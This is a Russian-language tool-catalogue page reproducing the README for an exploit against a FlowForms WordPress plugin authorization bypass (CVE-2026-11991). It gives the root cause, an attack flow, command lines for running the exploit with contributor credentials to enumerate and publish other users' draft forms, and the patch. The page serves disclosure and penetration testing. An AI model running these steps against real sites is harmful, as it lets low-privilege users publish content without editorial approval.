Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-11991-Exploit — Автоматический эксплойт для CVE-2026-11991 — обхода авторизации в плагине FlowForms для WordPress, позволяющего пользователям с ролью Contributor+ публиковать любые черновые формы через специально сформированные REST API-запросы. | Kitploit
Инструменты/GitHubGitHub/0x00phantom-hat/cve-2026-11991-exploit
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеОбучение и Образование
GitHub0x00phantom-hat/cve-2026-11991-exploit

CVE-2026-11991-Exploit

Автоматический эксплойт для CVE-2026-11991 — обхода авторизации в плагине FlowForms для WordPress, позволяющего пользователям с ролью Contributor+ публиковать любые черновые формы через специально сформированные REST API-запросы.

Репозиторий
311 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-11991 — Несанкционированная публикация форм в FlowForms

Аутентифицированный (Contributor+) обход авторизации для публикации любой черновой формы в FlowForms ≤ 1.1.1

Обзор уязвимости

СвойствоЗначение
CVE IDCVE-2026-11991
Оценка CVSS6.2 — Средний
Вектор CVSSAV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N/E:H/RL:O/RC:C
CWECWE-639 (Обход авторизации через управляемый пользователем ключ)
ПродуктFlowForms — плагин конструктора разговорных форм для WordPress
ЗатронутоВсе версии до 1.1.1 включительно
Исправлено в1.1.2
ИсследовательPhantom Hat

Технический анализ

Полное исследование в режиме «белого ящика» с анализом исходного кода, трассировкой входных данных и сравнением патчей:

📄 Исследование CVE-2026-11991 — Medium

Поверхность атаки

FlowForms предоставляет REST API в пространстве имён flowforms/v1. Конечная точка публикации:

POST /index.php?rest_route=/flowforms/v1/forms/{id}/publish

принимает управляемый пользователем {id} в пути URL и переводит черновую форму в статус опубликованной на живом сайте.

Корневая причина

permission_callback для маршрута /publish выполняет только общую проверку прав:

register_rest_route($ns, '/forms/(?P<id>\d+)/publish', [
    'methods'             => 'POST',
    'callback'            => [$this, 'publish_form'],
    'permission_callback' => fn() => current_user_can('edit_posts'),
]);

edit_posts — это право, которым обладают Contributors — роль, которой WordPress намеренно запрещает публикацию контента. Проверка владения целевым form_id полностью отсутствует. Любой аутентифицированный пользователь может опубликовать любую черновую форму на сайте.

Схема атаки

Атакующий (Contributor)              REST API FlowForms
        │                                   │
        │── POST /wp-login.php ────────────>│  (1) Аутентификация как Contributor
        │<─ cookie wordpress_logged_in ─────│
        │                                   │
        │── GET /wp-admin/post-new.php ────>│  (2) Получение REST nonce
        │<─ wpApiSettings.nonce ────────────│
        │                                   │
        │── GET /flowform/{id} ────────────>│  (3) Перебор черновых форм
        │<─ "Form Not Published" ───────────│      (неаутентифицированный ответ)
        │                                   │
        │── POST /flowforms/v1/forms/       │  (4) Запуск публикации
        │        {id}/publish ─────────────>│      любой черновой формы по ID
        │                                   │      ← нет проверки владельца
        │<─ { "success": true } ────────────│
        │                                   │
        │   Форма теперь ЖИВАЯ на сайте     │  (5) Черновик обходит
        │   без редакторского одобрения     │      редакторский процесс

Использование эксплойта

Предварительные требования

  • Python 3.8+
  • Аутентифицированная учётная запись с ролью не ниже Contributor на целевом сайте

Установка

git clone https://github.com/0x00phantom-hat/CVE-2026-11991-FlowForms-Exploit
cd CVE-2026-11991-FlowForms-Exploit
pip install -r requirements.txt

Базовое использование

python3 CVE-2026-11991-exploit.py \
  --url http://TARGET \
  --user contributor \
  --password password123 \
  --num_forms 100 \
  --id_start 1

С прокси (Burp Suite)

python3 CVE-2026-11991-exploit.py \
  --url http://TARGET \
  --proxy http://127.0.0.1:8080 \
  --user contributor \
  --password password123 \
  --num_forms 100 \
  --id_start 1

Полная таблица флагов

ФлагОписаниеОбязательный
--urlURL целевого WordPress✅
--userИмя пользователя WordPress (Contributor+)✅
--passwordПароль WordPress✅
--num_formsКоличество ID форм для перебора✅
--id_startНачальный ID формы для перебора✅
--proxyURL прокси (например, http://127.0.0.1:8080)❌

Процесс эксплуатации

Эксплойт выполняет три автоматизированных шага:

Шаг 1 — Аутентификация Выполняет вход от имени атакующего (Contributor) и получает действительный nonce REST API из wp-admin.

Шаг 2 — Перебор черновиков Сканирует GET /flowform/{id} в указанном диапазоне ID. Формы, возвращающие "Form Not Published", собираются как цели — это черновые формы, владельцем которых атакующий не является.

Шаг 3 — Публикация Отправляет POST /flowforms/v1/forms/{id}/publish с nonce атакующего. Конечная точка принимает запрос, переводит черновик в опубликованный статус и делает форму живой — без какой-либо проверки авторизации на владение.


Устранение уязвимости

ДействиеПодробности
ПатчЗамените общую проверку edit_posts на current_user_can('edit_post', $form_id) — второй аргумент привязывает проверку прав к конкретному объекту записи, обеспечивая соблюдение правил владения WordPress
СмягчениеДо установки патча ограничьте роли Contributor и Author, если плагин активен

Безопасная реализация

// УЯЗВИМО
'permission_callback' => fn() => current_user_can('edit_posts'),

// БЕЗОПАСНО (исправлено)
private function can_edit_form($form_id) {
    return current_user_can('edit_post', $form_id);
}
'permission_callback' => fn($request) => $this->can_edit_form(absint($request['id'])),

Ссылки

Скачать инструмент